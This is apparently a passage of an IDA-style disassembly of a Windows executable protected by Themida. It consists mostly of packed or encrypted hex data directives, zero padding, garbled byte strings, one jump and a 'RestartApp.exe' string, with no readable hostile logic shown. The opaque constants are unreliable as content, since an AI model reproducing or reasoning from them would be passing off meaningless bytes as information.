8DD33017h, 4ADE4F8h, 0D4634A6Fh, 80F0F836h, 5F42B51Ch dd 12676BAh, 54A24CDAh, 0C0A063E8h, 0A50937B2h, 1274757h dd 6E150580h, 89FC5470h, 0BC733Dh, 190B3503h, 710EFC2h dd 7597E4EBh, 0B8E6C4D6h, 677E8088h, 0BAF83Fh, 0E522FDB6h dd 0CF59E8A1h, 0C88C184Eh, 9FD9F0CEh, 68C4A098h, 6AAC4900h dd 8C282591h, 7F31C5B0h, 2D1C03F6h, 95F0E4E0h, 807EB25h dd 0B3C0BD77h, 1541424Fh, 0A0A8C33Bh, 3DEA695Ah, 0C84EA17Eh dd 29078DCCh, 5B054FCAh, 21FCB730h, 0D38500F2h, 98C7F15Ch dd 0C63F04B1h, 4B73A552h, 0BA48D87Ch, 0C2780050h, 11939DBFh dd 87F22ECDh, 0D5CCFB04h, 20AFF7F9h, 76E5420h, 1FE1820Bh dd 9C478120h, 72703A3Dh, 3C755CD0h, 986B440h, 0CB7AA7BDh dd 0B802487Ch, 0DC8C2662h, 4D2442E0h, 0C0C6F1E2h, 462A9603h dd 8094E41Ch, 9B9095Fh, 9827D0EDh, 1C61B412h, 0C0207B6Ah dd 124B6Eh, 6D0F08D3h, 76F639F8h, 27DF4F3Eh, 31CF0A4h dd 0B0B7D3CDh, 0D2B493D7h, 0BCD11788h, 64D9C600h, 155DD54h dd 0DC656096h, 0C3622A32h, 3BA07EC9h, 0A357DC80h, 0A8F92403h dd 6D8C40B8h, 8D17C808h, 34887E81h, 0DBD92E65h, 17F36350h dd 4AE25F8h, 7C7DA47Eh, 0AC952E00h, 76D886D1h, 88265F6Ah dd 0B900FBE0h, 3491B664h, 144072E4h, 0E8CA31E8h, 0FA15710Bh dd 123BD000h, 0BE0BC057h, 9CD9F3h, 285DF558h, 0BF85F4D6h dd 264EA000h, 0C804595h, 225C98D0h, 0C8005E90h, 6B308C44h dd 9974D4EAh, 0A5F50004h, 0C04F42F1h, 8AED1E02h, 0E1389EF2h dd 0E8393F75h, 35EF0700h, 6F058A4h, 0FFB24202h, 0E6750CBDh dd 0FC3C1730h, 5FCF00ADh, 1AB184C5h, 0F84A4525h, 0F098011Ch dd 0B41D92D1h, 0E0233A75h, 4A02C8BAh, 9C501CA0h, 0E87409Dh dd 244198BFh, 26DAA3Fh, 3F209654h, 40047428h, 1C8F8D89h dd 0A3F96412h, 9600D0B3h, 5ED1B7A7h, 640541A4h, 7A3282Dh dd 7D559CC1h, 3D1EA422h, 0DBF6C006h, 0ABA24957h, 55ED8E09h dd 42B4DC0Fh, 0C54699Ch, 4D151E05h, 8D8198ADh, 32AC3868h dd 0ADE9008Ch, 0AB5AC092h, 0B5A60B36h, 8704ED5h, 0F020CD4Eh dd 0E27F4301h, 0B60400FBh, 97B8107Eh, 0BF27B9Fh, 416F1501h dd 95A6155h, 2C9091h, 0C97C6AD1h, 51FC373h, 0D397282Ah dd 1682C03Bh, 44FD6E6h, 0C27228DCh, 0F87DC3F8h, 18E14320h dd 1897B0Bh, 99EE21BFh, 30AB6A6Eh, 87E67F38h, 93800F11h dd 24DAB800h, 75A14DC6h, 52A8C225h, 0A3C70190h, 0ECF15D11h dd 4C03CE6h, 0F2828022h, 0A948A480h, 36141293h, 3884F20Bh dd 0B42D89E3h, 0FFF300BCh, 4F099EBh, 0E623BA6Eh, 960F8CFh dd 4845C566h, 39D63970h, 27ACAC7h, 0F625CB12h, 8841AB16h dd 7F7884B5h, 1F81F163h, 72F44F13h, 0F8B0975Eh, 0C839495Fh dd 5C56A65Bh, 0B46E441Eh, 4611D847h, 0C2C8C4E1h, 68B730D5h dd 899363AAh, 0E8E25D4Ah, 5BA46E3Bh, 436262Dh, 0C23DE924h dd 74407334h, 3300F14Ch, 91208CDCh, 0FA88ECD5h, 0ABFF0925h dd 8545B14h, 688C5500h, 0F6C2E411h, 80E89EAFh, 9B7D548Ah dd 0DD13A5A6h, 0BBD758h, 35961364h, 0BB3AC836h, 92CF80DCh dd 4F1E81Fh, 0AB5913CEh, 45DC207Ah, 0B600AF70h, 0D884A748h dd 56D3B65h, 0F488193Dh, 6A8003C6h, 0C9FDE31Ah, 80CC28D4h dd 631D7209h, 17B00030h, 9CF0506Bh, 950034D3h, 0A8E008C1h dd 0BDF1D63Eh, 45911030h, 0C470CF89h, 0AF4A25FBh, 0AE747C48h dd 0D2C57F00h, 75B96ED5h, 0ECE45C1Bh, 0CC9E36C0h, 0A7F6C048h dd 0CFA3E13Ah, 0BC23EC27h, 0BF80C56Ch, 23C7C6h, 59BEBF9h dd 1FCEEFF0h, 38A03090h, 0E14FBD55h, 76E82809h, 291504ACh dd 0B1ECA446h, 2E14910Fh, 4A3CC0D7h, 60F8B9A9h, 0EC27C9A6h dd 10BF26D3h, 4A7E14h, 4CD9BF69h, 0FE564E65h, 0BB3F1400h dd 83733068h, 6768C0B4h, 95ECA620h, 0A8F8CD12h, 44755C22h dd 911E3B40h, 558AB401h, 44DF19FCh, 9F943070h, 0CD00A12Ah dd 6F203554h, 9C7F3C8h, 7D58B650h, 8683A010h, 0AC427100h dd 698F7E30h, 8E80FFAh, 0E7CB22C1h, 0D4021064h, 0BF7516F7h dd 48AD4015h, 80210F53h, 0C28117CAh, 286EB088h, 59050598h dd 0FB8194C4h, 0F6C4585Dh, 0C71B292Bh, 17F8A6D4h, 65F0D1E3h dd 22A7E458h, 0CC9994F0h, 0E1A1E703h, 54ADA206h, 9488030h dd 3968B5FFh, 0CC08E900h, 4A6A8052h, 9EF31C51h, 0A8D2922Eh dd 0C4D02DF4h, 0F6170B18h dd 378701CFh, 28CAF1h, 11047A24h, 1038FC31h, 169B8013h dd 36FA779Eh, 66E200FDh, 1C65CC58h, 9C9853DAh, 45D4D613h dd 0C076F092h, 0BDC4E1h, 0DAFBC159h, 78A7853Eh, 4B32AD00h dd 0BC08E21h, 0B8B94867h, 129F9426h, 9208FCC5h, 4092CF0Fh dd 0A15B01Ah, 8ED0036h, 656CF5E6h, 64975542h, 9798A174h dd 394D9070h, 48035EAh, 3A59E085h, 480506E5h, 0BF4F2F96h dd 6C8000E8h, 0CBB92D93h, 43DD400Eh, 0F220216Eh, 70B6D9h dd 0A2F82CF7h, 0B353C07Ch, 4C9F55DEh, 4B8000D4h, 54D9EC01h dd 0E548BD77h, 0DF520590h, 1C834CB8h, 9F44BFB4h, 2E808CACh dd 0A68ECC4h, 1A97D003h, 981F23FFh, 0FE4364A2h, 0C7D30026h dd 8A6A69B6h, 1825C4E3h, 2684D1D9h, 59D240A0h, 0CB028424h dd 0CCFFED9Fh, 7EC51D0h, 9073512Fh, 0E7D2C48Bh, 46269D2Fh dd 8E9044F0h, 29B94904h, 0F8C3A7F2h, 51EC9287h, 0D7430FA8h dd 0A6B5F1C0h, 57738E2Eh, 0D5809A00h, 300DC107h, 4B5E0978h dd 74C84627h, 0B05CA33h, 0AF7DE8DCh, 0F40308BDh, 61D73DF9h dd 0B6D806D0h, 66EA7500h, 45F5C4A4h, 228E4E26h, 0AC7E6104h dd 0A4508A11h, 6EC80085h, 5D2ABCA4h, 7CB1F2A8h, 1F98C981h dd 0BF60894Ah, 0B522015Bh, 0F630D1A2h, 0C539C4B8h, 0B8023F4Bh dd 573EDE8Bh, 0ADE86898h, 5D28E897h, 0B75B003Dh, 513026E9h dd 2CB0044Ch, 641A6625h, 6AC0F12Ch, 0B5810009h, 0EE5E4C36h dd 72009CE5h, 0A35764D1h, 1C9824A2h, 0C1D55606h, 0F0071B9Eh dd 729BC528h, 0C70458D0h, 3720DD2Ah, 7E37D8Dh, 0A8A5540Dh dd 5627B529h, 1CD8F318h, 44C1722Eh, 0BCAAAEB6h, 146E5C20h dd 8CECDEC5h, 0DD009CC9h, 4A87064h, 0CA17FA26h, 4AE14B00h dd 2CB8C633h, 0B7ED2Ah, 0CE8F983Bh, 1C5DE85Bh, 99141814h dd 17AD9D0h, 0FAB567C4h, 2AF040B2h, 9AAA7420h, 0CB2E00B8h dd 53FD4594h, 0AB014D25h, 41CC2177h, 9EC56D6h, 1A8C3DEDh dd 0E529F400h, 0E784B55Eh, 0C01CC54Ch, 70CE965Bh, 0B8E35E61h dd 3638B6h, 7EB3CADEh, 9DCD6AD5h, 751EE4C4h, 0C2000E10h dd 70151B81h, 418D030Ah, 2FCA6B26h, 616AD4B0h, 32670C0Ch dd 2C45617h, 186CF7B5h, 40D44233h, 0B7CA834Fh, 0EE3A883Bh dd 24220037h, 9EB05768h, 0D4046EDDh, 7F04FE53h, 440068F9h dd 31A790B2h, 0A1045ABFh, 0E2B02CF4h, 0EF48Ch, 3673A659h dd 44233295h, 0E575F600h, 1E1CBB3Ah, 0BAE83178h, 0E8D55B78h dd 4200B837h, 558924C4h, 7FF015A2h, 1DE6001Bh, 872A0FC9h dd 0E103A458h, 3E94A6CDh, 68380056h, 0E02D89A3h, 2E3DE75Ch dd 0A5670376h, 0B7ED1FE1h, 0A680B8A7h, 22E45EE6h, 6F302A2Eh dd 80417947h, 6B3E005Fh, 99E574CFh, 3B001BEFh, 36557954h dd 733D3321h, 0EC8C7553h, 34E318BEh, 0B8EA493Fh, 1E755500h dd 916C7466h, 92F087h, 0D07BA2FDh, 821451E9h, 96013675h dd 0E427F3Bh, 408037B5h, 0BCF9C44h, 98068418h, 0D78B32ACh dd 506C50D4h, 0DF173FE6h, 8736A900h, 0F1F7CF41h, 8D6B203h dd 0D18C6705h, 9187BACBh, 0A31C5137h, 11124F6Ch, 0E01FDB90h dd 0B9B57800h, 311969Dh, 95268F87h, 287857CFh, 0BA4B7500h dd 73EA74C8h, 3970E3D7h, 0D4F707C5h, 0B00586CAh, 0F9CC48A5h dd 23FA7900h, 0E143DCBEh, 0DEF400F8h, 4B57F5D7h, 0BC606750h dd 0C2B25DE1h, 381926A0h, 0C09037A5h, 76645EDBh, 0BE12740Fh dd 0D4C6200Fh, 282EDAB6h, 114396Fh, 97528F3Fh, 0BEBECAFEh dd 75BC00A9h, 19E2583Ch, 15E07E45h, 8033948Ch, 0FA13520Eh dd 0F9822960h, 4E78019Eh, 38B30A00h, 0EA1479DBh, 7F2E0C8Ch dd 0AAA93F39h, 0C7572F00h, 0EE6BD7C8h, 686C4C01h, 0F8EA8200h dd 0B7AB53F2h, 5C43306h, 894C56h, 17E42CEDh, 980A79BEh dd 2D99200h, 3BF90EB5h, 54577548h, 5A84B3h, 0D980DDCCh dd 0D2141B15h, 42637200h, 7C41B412h, 7FB618CBh, 402F58D4h dd 7FE99C0h, 3AF1BBAh, 0CB358B4Dh, 7CF83A1Dh, 4300BC7Dh dd 0BD22FA5Dh, 7A3CDAh, 0F66C3659h, 0D7B05FD5h, 0B8715118h dd 0A861181h, 4194C59Ch, 0CD218094h, 0A5E5F54Fh, 0E71D7503h dd 0C60CB7h, 41474431h, 0EC3C649Dh, 7A9663Ch, 185BAD0Dh dd 451CB070h, 0ED26021Eh, 95778F2Bh, 3C00AC44h, 594E81F7h dd 0EF2529h, 0D088A60Fh, 0B1A83F7Eh, 9D650403h, 0D039563Ch dd 90B7F61Ah, 3EB40162h, 8473E17Bh, 8900DF0Dh, 862BF298h dd 0E6DEEF1Ch, 5060A095h, 199300B5h, 3C8BA87Ch, 6D48906Fh dd 43270128h, 0ECD536D8h, 4C752424h, 0A80F1CA0h, 5540521Ch dd 617EB1AAh, 0CF37AA90h, 771029D6h, 1D0E3F11h, 45E640FEh dd 40456CA9h, 0BACE05F8h, 0AF0374C7h, 640B92Fh, 62CAC0F8h dd 0B58307EBh, 0E603D03Dh, 420051E8h, 5292365Ch, 0FC5AD3h dd 0B819485Dh, 2E6E1F13h, 9929E763h, 0A8A7B931h, 304714C0h dd 0E04E054Eh, 8006FC7Ah, 516CBE13h, 311B0089h, 5362B968h dd 543DEC4Ch, 0ABB60F06h, 52C0A275h, 52C0446Eh, 0F8019893h dd 0C024FBC4h, 0E303CC98h, 2E76BE00h, 0AECFE982h, 8CE117D1h dd 0F971033Ch, 39003094h, 376FC09Ch, 7CFA11h, 4504E5B9h dd 2821B51Dh, 0CC3CA53Bh, 29CDC068h, 5C6DC6Fh, 0FC0302F8h dd 115B80DEh, 5B003E9Dh, 4BCA6E7Bh, 0C64D55E8h, 0A09E36D1h dd 26BDF109h, 432A00D8h, 5817B992h, 610CCA60h, 6E913694h dd 1E2C3C07h, 0AEC07755h, 71890B74h, 0F1A0000Ah, 0F7238811h dd 3A01B319h, 51E78D68h, 0A183B667h, 16C0E60Bh, 0DE8CDD80h dd 0A3841100h, 47533C97h, 2BB609BCh, 0CC0060CDh, 0D76F6D0Dh dd 1C0AF8F0h, 0D8D3D138h, 0B7646280h, 7A16E554h, 241D7741h dd 41DC30CFh, 0FFDBE8ACh, 43490AA8h, 0E3C29D2Dh, 41D9C2DFh dd 0D4303A00h, 99C76169h, 5154B0CAh, 80ED2F88h, 6E7F6C69h dd 188A0217h, 0A8DA8C8Eh, 0CB027ABFh, 2EE91486h, 6C8CA332h dd 5410046h, 9981BD1h, 36FC2D17h, 7AA26D00h, 0A1B4CE50h dd 0A7560E35h, 0FF07417Ch, 7214C251h, 11869040h, 4718BE24h dd 0F0DB3706h, 84680389h, 0CA0E28B2h, 0FE1AB11Ch, 8E9EAAC0h dd 0BED127h, 78BDEFFBh, 4016B802h, 6450FC13h, 35932821h dd 0D200A9BBh, 91B021F0h, 620112F5h, 0E6541F38h, 24220C88h dd 6D207907h, 9ACEB025h, 0A0B0D303h, 0E7055B1Eh, 6B2E1C85h dd 6F87F480h, 23F9C35Ah, 0FA0B1BDh, 771F7AE9h, 36CD66BFh dd 3C3021D3h, 1E43022Eh, 0BACC98FAh, 507638C0h, 8338684Ch dd 655B9CAh, 9495CC31h, 0ED1CB924h, 0EB43A6D9h, 80966731h dd 3CE585h, 0A9F1B5D3h, 68F4E154h, 0A1163CB8h, 684AD833h dd 0BC11847Dh, 3881C12h, 0B708446Eh, 0C07E2028h, 2FF1AC16h dd 0B0E04827h, 459BBAh, 2877FF86h, 32D26B43h, 0A5002F74h dd 0B8E80D5Fh, 7319851Ch, 524B0620h, 69B10CA3h, 8A98300Fh dd 80B7C04Fh, 6D18544h, 6CF3E443h, 4100E158h, 2021BE63h dd 0EAE14F69h, 0E2F3026Dh, 6FAA66C1h, 650774C4h, 0C530883Ch dd 0D032C0F3h, 4CB5627Eh, 887CFC3Ah, 6100242Ch, 0E39A34D6h dd 12710EDBh, 21DC555h, 2EF9DC08h, 0FD00ECC4h, 64247C82h dd 3AA4803Dh, 5CDC8821h, 0DB36AD08h, 7AE45680h, 2E16Ah dd 4311BDE9h, 4497E264h, 35900C12h, 68294830h, 857C9Fh dd 49209A3Dh, 0A5260EEh, 0EE18000h, 0D9E88AEh, 65B888AFh dd 2D1CA9E8h, 0B441DAF5h, 0CB0D7FECh, 0E8FA2180h, 0A6ED9BDh dd 7B099C00h, 0DB285FC6h dd 6CCA0072h, 0E9EF8B9Ah, 88184662h, 9039AE0Dh, 0EA800757h dd 60CB756Dh, 24BC1864h, 99501C7Dh, 0B6057AF8h, 30AC6973h dd 801488h, 0C0552D2Ch, 367D0B28h, 0E2BC0EFh, 0FF59C863h dd 4B9AA838h, 7DB4C59h, 0AC2A8000h, 0C8B5179Eh, 2C2EC575h dd 0F880A85Ah, 0E389D784h, 0C0490C62h, 5A49B00Ch, 2B5E4B0Eh dd 0E4E2407Fh, 4CD7095Ch, 0AB099CB8h, 0D88005C8h, 0CC4A2E83h dd 8700A57Ch, 896C6FA7h, 75811Dh, 7ADB6625h, 11184A4Ch dd 4E8B848h, 71504E2Eh, 0B060B4C9h, 0CC0C30C1h, 75791111h dd 7448F82Eh, 0E9A14E00h, 8F52E7h, 3CF53268h, 6BCA662h dd 13BD2E00h, 93C73342h, 0CCD5001Ch, 0B6652F04h, 8F02028Ah dd 91FE7908h, 6F9D81D3h, 9C243B2Eh, 1EE302FCh, 6D2DCF72h dd 580030C4h, 0C1456A22h, 2E21F7BFh, 136993E7h, 5AA807C0h dd 553D1050h, 7401CA5Dh, 0E0CD602h, 3A105256h, 0EEECF217h dd 2C57D203h, 848B864Dh, 3B3834C1h, 2368024h, 0B2A8A921h dd 7C640B0Eh, 561600Eh, 4F7B8770h, 3104C0AFh, 1738A828h dd 88E5D96h, 0EE80EC04h, 54709172h, 1C0F4CD8h, 0B4CB922h dd 0FEA7068Dh, 4C995355h, 2A000728h, 820D9084h, 420026B1h dd 3B8310C5h, 94752C6Dh, 1C241F0h, 551CF874h, 0DEEDF900h dd 0D482CD1Eh, 7C3B0020h, 7AE3886Eh, 0E4602E72h, 0C9A3B991h dd 0B8214FA5h, 8A700F9h, 0F6661781h, 1CD89005h, 62D636ACh dd 80840E48h, 0C1AD1AF1h, 406B02F8h, 2FAC5DEEh, 160FD490h dd 440142EEh, 0E3BE5FC0h, 0A4503C2Eh, 2EFF1CE1h, 40BC6F84h dd 20B49C86h, 0ED668200h, 2FB2B0F7h, 0F63502C2h, 69FCAEA6h dd 88D5C6C3h, 0B800A4D0h, 317E874Ch, 7B7A5EBEh, 5250007Bh dd 7484FD39h, 0C0C2DE1Ch, 51C0D4A6h, 0B2CC007Ch, 0CE4C1A11h dd 7AAADB00h, 8B01A2FBh, 7F351DC4h, 83E90421h, 0E09487FEh dd 17B8856Ch, 2FA59C0Ch, 5CBF81EAh, 970EDD06h, 6540B1C5h dd 0F01D04F1h, 0D8381912h, 1282FC24h, 16C5AB0h, 8F1D62CCh dd 80CD0B02h, 83CE6391h, 0EE823A10h, 0EE130087h, 74754807h dd 70F5AF7Ch, 9139E954h, 85551F24h, 1767FC42h, 7256h, 0D4C58AADh dd 0FB28AFE7h, 24BB10Bh, 9F3498E5h, 77D5789Bh, 14E10CABh dd 0A8E0FF79h, 4EB2CA1Ah, 1CE01849h, 0F2A20023h, 5EB4171Ah dd 86002B45h, 0DD6C666Dh, 7355B8h, 945314F7h, 0E4D37D98h dd 0E92EEF18h, 7EC78071h, 0BCBA2C91h, 0DCF2006Fh, 3E1AC91Ch dd 32D55D1Dh, 6700706Ch, 0F633B79Fh, 1DDE0066h, 78D48812h dd 4F53CB74h, 94F81C9Ch, 2CE911F0h, 6248014Bh, 5DDA01B7h dd 793CC8B6h, 0A753F200h, 22B44642h, 803C9E56h, 0F5F03620h dd 30960123h, 0FFA09841h, 5819D3E0h, 0E5800C0Eh, 0EBBFE3ADh dd 0BB2FC738h, 7B900DDh, 45DF38BBh, 50FF0B9Dh, 0A8819B1Ch dd 70C46261h, 8F0FAA29h, 806F67BCh, 0C83A5D7h, 0C9CA00E9h dd 7D55770Eh, 8F78A0BDh, 0D64480B0h, 4C910Dh, 4624B69Bh dd 0D701EBA1h, 900110A6h, 0EF60EC5Ch, 0DD0802D4h, 0E2FAFED6h dd 903EEC98h, 0A8805100h, 8CF832F3h, 0E910022Eh, 82BA3995h dd 7074F841h, 0B86EA4h, 6CCFCD14h, 72080F8h, 76E8119Fh dd 32DC0028h, 6B5B3CDBh, 0C09E9519h, 0FCA70183h, 0F8738814h dd 59B430CAh, 6E10D741h, 291BD914h, 0C0332EC0h, 2C436F16h dd 0C01E32BEh, 14685D49h, 84BB488Bh, 38E3116h, 0E5394E5Ch dd 0D76CC900h, 0F8AAA8D3h, 0D07F0013h, 7AB9D436h, 737145E0h dd 258044B9h, 7637096h, 1B8709Bh, 1682B313h, 220D2B0Bh dd 78439ACh, 2C59E95Eh, 11C83240h, 8E520E9Fh, 0BAE05021h dd 76565FD7h, 78CB5B0Ah, 5501F5DFh, 157C127Fh, 5C5041C0h dd 0A483EC6Fh, 9BA83DB2h, 241290F9h, 4C9055F7h, 0BF82F4h dd 6E564F2Ah, 0EE7BACF9h, 12535522h, 92064Dh, 0B1D1AECFh dd 65E09E91h, 0CB466E00h, 36E91186h, 0B2E1C338h, 45F7681Ah dd 9E10CC41h, 0EB203F1Eh, 629D9340h, 0A0978Bh, 47B85114h dd 9065C77Ch, 91ED8000h, 74FB58F5h, 33E7425h, 53F48887h dd 7A9B8A51h, 5030A480h, 0ABEFEB00h, 1B87D7DCh, 47A00077h dd 37A8217h, 0B303898Fh, 0EAD0FA94h, 2959D03Bh, 31E51FECh dd 6448F099h, 67071BF5h, 5E6AA813h, 1F1987C6h, 80C35CBFh dd 0EE8F1EBh, 2F00628Eh, 2174177Eh, 308C93AFh, 0D906472h dd 130020FDh, 7736B4C6h, 0C84A7EDh, 82994292h, 33008551h dd 0BC4A12E3h, 31A9760h, 849C35D4h, 491C71EFh, 7080B0C4h dd 61F050A8h, 0E897F39h, 86EC7295h, 0D02975ACh, 0A49E000h dd 8C2B7123h, 3019C184h, 0DB6A9A59h, 0B29D3AF8h, 4AFDD600h dd 274635D1h, 1A440E08h, 0F465D984h, 6260038Bh, 98A050E3h dd 0C1294AE4h, 0FF7F01CCh, 0B0FDh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54B46B: ; CODE XREF: start:loc_4E1265j ; DATA XREF: start:loc_4E1086o jmp loc_54E900 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 0A1A00Fh, 0Dh dup(0) dd 76E9h, 521E0A13h, 3 dup(0) dd 0FF4D78DDh, 7D1h, 5 dup(0) dd 6AB0h, 2 dup(0) dd 0FFFC0608h, 0 dd offset word_5875A2 dd 8 dup(0) dd offset byte_5A3033 dd 0A170C4h, 4 dup(0) dd 77E6D706h, 0 dd 701C2719h, 0 dd 88h, 385FF68h, 0 dd 0B4h, 3 dup(0) dd 1FA90000h, 0 aA_1: dw 3Eh unicode 0, < >,0 align 4 aZk db '§Š',0 align 4 dd offset byte_5A52DF dd offset byte_5A57ED dd 0 dd 6AB0h, 3 dup(0) aDSw db 'd',27h,'èw',0 align 4 dd 2 dup(0) dd offset dword_54F6B0 dd 8 dup(0) a__1 db '-Ã_',0Dh,0 align 10h dd 17h dup(0) dd 7FFE0304h, 3 dup(0) dd 0A6481E57h, 77D4C96Ah, 0 dd offset dword_5CFE0C dd 2 dup(0) dd 2F678DFFh, 4 dup(0) dd 89971739h, 0Bh dup(0) dd 0FFA63332h, 4 dup(0) dd 6CF8h, 3 dup(0) dd offset byte_59442B dd 0A19499h, 0 dd 30DFh, 77D4C96Ah, 0 dd 0FFFFFFFFh, 80h dup(0) dd 0FFFFFFFEh, 2 dup(0) db ':ݵ>',0 align 4 aAcwhSwIb db '[çwh!èwÝi¡',0 align 10h dd 0FFFFFF68h, 0A280105h, 58B1D1h, 58E45Ah, 0A109F7h, 3 dup(0) dd 0ACh, 9 dup(0) dd offset word_598B0A dd 3 dup(0) dd 7FFE0304h, 0 dd 0FFFFFFDEh, 8Ch, 0FFFF8FC4h, 2 dup(0) dd 0A1FA56h, 5BBDCBh, 4 dup(0) dd 7FFE0304h, 5 dup(0) dd 130CF171h, 2 dup(0) dd 7FFE0304h, 0Ah dup(0) dd 165A1CBh, 4047EBh, 7 dup(0) dd 0FA443000h, 580BE8h, 77DD189Ah, 3 dup(0) dd 0E663AF15h, 7FFE0304h, 2 dup(0) dd offset byte_586515 aRa db '(ËR€',0 align 8 dd 12FFA4h, 0 dd 4CB65003h, 3 dup(0) dd 77F7EBB3h, 6, 7 dup(0) dd 0F1E21A7Ah, 0 dd 0A23268h, 7FFE0304h, 3 dup(0) dd 0A1915Bh, 2Dh, 0A15E2Eh, 0 aScsq db 'è–sï',0 align 4 dd 5 dup(0) dd 36000h, 4 dup(0) dd 0FEF5A728h, 0Ch dup(0) dd 7FFE4F28h, 2 dup(0) aNO db 'n',0Bh,'Å®',0 align 4 dd 1D1FFB0h, 0FFA43FC4h, 2 dup(0) dd 8001FCFCh, 385FF68h, 0D1A6568Dh, 57FA51h, 54C824h, 2 dup(0) dd 1C032h, 97D8EA5h, 5BB8B0h, 54F2DEh, 58DC4Ah, 6 dup(0) dd 0BF0654Dh, 0 aDFMT db 'DÚFÂŒËT',0 dd 7 dup(0) dd 3038h, 6 dup(0) dd 0A169DDh, 6 dup(0) dd 2, 6 dup(0) dd 0A19393h, 77E776CDh, 3 dup(0) aRestartapp_exe db 'RestartApp.exe',0 align 8 dd 8001FCFCh, 9 dup(0) dd 0FB57239Ah, 3 dup(0) dd 1, 9 dup(0) dd 12FF60h, 77E7AC5Eh, 9 dup(0) dd 84A7h, 2 dup(0) dd offset byte_586443 align 10h dd 7FFEFFFFh, 12FFA4h, 7FFE0304h, 5 dup(0) dd 0A8h, 0Eh dup(0) dd 0A4h, 2 dup(0) dd 0E569h, 8AA7h, 0 dd 0A5A5E7h, 11h dup(0) dd 0F0000h, 4 dup(0) dd offset dword_5C4CC0 dd 0 dd offset sub_401000 align 10h dd 0FFFFFFFFh, 2 dup(0) aSSw db 'è/èw',0 align 4 dd 3 dup(0) dd 0AF0000h, 0 dd 0D3412004h, 0Ah dup(0) dd offset word_57FCAA align 10h dd offset dword_57AE68 align 8 dd 6AB0h, 7 dup(0) aCw db 'µ\çw',0 align 10h a4G db '4±£',0 dd 4 dup(0) dd 8A92h, 4 dup(0) dd 30DFh, 0 aFm: unicode 0, <F¬>,0 align 10h dd offset word_5D196A dd 4 dup(0) dd 0A169DDh, 0BAF46B46h, 5 dup(0) dd 25B0000h, 6 dup(0) dd offset word_5A686A dd 0 dd 0C7139DBBh, 7D1F0801h, 77F51B2Bh, 7FFE0304h, 3 dup(0) dd 0FA3AF4A2h, 0 dd 0FFFF47FBh, 0A13145h, 4 dup(0) dd 0A1A00Fh, 2 dup(0) aECw db '…Ççw',0 align 10h dd 3F9F8h, 14h dup(0) dd 385FF68h, 0E1DE586h, 33050552h, 5 dup(0) dd offset byte_5933FF dd 0 dd 0FBD3h, 2 dup(0) dd 0FFFFFFFFh, 5 dup(0) aJc db 'Ò¦—',0Ah,0 align 4 dd 0 dd 0F7405740h, 3 dup(0) dd 2, 3 dup(0) dd 0FFFF912Ch, 8 dup(0) dd 25B0000h, 3 dup(0) dd 5B318BF1h, 4 dup(0) dd 80h, 6 dup(0) dd 7FFE0304h, 59BD8Eh, 0D0987289h, 7 dup(0) a0I db 'ß0Å©',0 align 10h dd 0 dd 0CB147927h, 3 dup(0) dd 0A0D554h, 0 dd offset word_59AD42 dd 7 dup(0) dd 3CA00h, 0 dd 0F6052184h, 0 dd 0FD3CA2A0h, 8 dup(0) dd 1, 54EE9Dh, 0 dd 0A3F45D88h, 0 dd 0E1014h, 5 dup(0) dd 385FF68h, 0 dd 7FFE0304h, 57FCFAh, 77E776CDh, 20h dup(0) dd offset byte_586443 align 8 dd offset byte_5776CD dd 0FFA3ED3Ch, 5A083Ch, 2 dup(0) dd offset word_5A7CDA dd 2 dup(0) aW db 'Ì^Ýw',0 align 10h dd 0 aVlcw db '‚‹çw',0 align 10h dd 0C919D640h, 0 aQbcw db 'Ÿ¡çw',0 align 10h dd 77E7A5FDh, 2 dup(0) dd offset byte_5BBC43 dd 9 dup(0) dd 1, 2 dup(0) dd 50ED5413h, 76B41B40h, 0 dd 3313EF50h, 2 dup(0) aAt db '!!!!€’',0 align 10h dd 9A11E174h, 0 dd 960F502h, 0Ch dup(0) dd offset dword_5CFE0C dd 0BCh, 0DD7CF9E5h, 7 dup(0) dd 0A169DDh, 5 dup(0) dd 385FF68h, 0 aJCw db '†Äçw',0 align 4 db ')',0Ah,0 db 4 dd 0 dd 0FFFFFFFEh, 4 dup(0) a0Iqucw db 'ß0Å©ï“çw',0 align 10h aA_2: unicode 0, < >,0 dd 0EC5h, 59AD16h, 0 dd 5503A96Ah, 8 dup(0) dd offset dword_5BCB08 dd offset dword_59AE20 align 10h dd 0A21564h, 0 dd 7DBD0CEDh, 2 dup(0) dd 457A7h, 89CBD3CFh, 0 dd 59Eh, 2 dup(0) dd offset byte_5C272D dd 17h dup(0) aV_0 db ',±³‚',0 align 4 dd 77F50000h, 6 dup(0) dd 0A39BACh, 3 dup(0) dd 76F8h, 0 dd 0AC571034h, 2 dup(0) dd 8CE9h, 0Ah dup(0) dd 0A169DDh, 0A0B168h, 17h dup(0) aJM db '¦Ö,¬',0 align 4 dd 4 dup(0) dd 0A12292h, 0FEF4C5B6h, 0FFA2E8A1h, 829A3E7Eh, 4 dup(0) dd 0A155D1h, 3 dup(0) dd 0DF7CDB0Ch, 0FFFF9C80h, 8 dup(0) dd 6AB0h, 0 aSCnT db 1Bh,'áµæËT',0 dd 1EF8h, 0FA592B22h, 2 dup(0) dd 2420000h, 0 dd 18D6D51Ah, 18h dup(0) dd 2D66h, 7FFE0304h, 24242424h, 2 dup(0) dd offset dword_457444+29DBFh dd 0 dd 144628h, 4 dup(0) dd 32E9h, 6 dup(0) dd 27BDBBF7h, 2 dup(0) a1?How db '1¸?Çh®W',0 dd 0Ch dup(0) dd 0FFAB37DCh, 2 dup(0) dd 0FFFFA78Ch, 2 dup(0) dd 7Ch, 0FFFFFF30h, 7 dup(0) dd 78h, 4 dup(0) dd 0A37316h, 12FF54h, 4 dup(0) dd 7FFE0304h, 2 dup(0) dd 1, 2 dup(0) dd 0FFEEF4A1h, 3 dup(0) dd 6Ch, 4 dup(0) dd 25C0000h, 0 dd offset loc_5569BF+4 dd 0 aGad db 'gídÖ',0 align 10h dd 77E7F880h, 0Dh dup(0) dd 0F303A3D5h, 3A0h, 7 dup(0) dd 0FFA8417Eh, 0B1A1FEh, 149Eh, 4 dup(0) dd 0A21560h, 0 dd 10947C48h, 0Bh dup(0) dd 0AB8Bh, 5 dup(0) dd 5A397F5Dh, 7 dup(0) aCw_0 db 'µ\çw',0 align 10h dd 4 dup(0) dd offset byte_580023 dd 2 dup(0) dd 94F1CB4h, 2 dup(0) aFE db 'Å”"E',0 align 10h dd 0 dword_54C824 dd 42Ch, 124AF0h, 0Bh dup(0) ; DATA XREF: Themida_:0054CD88o ; 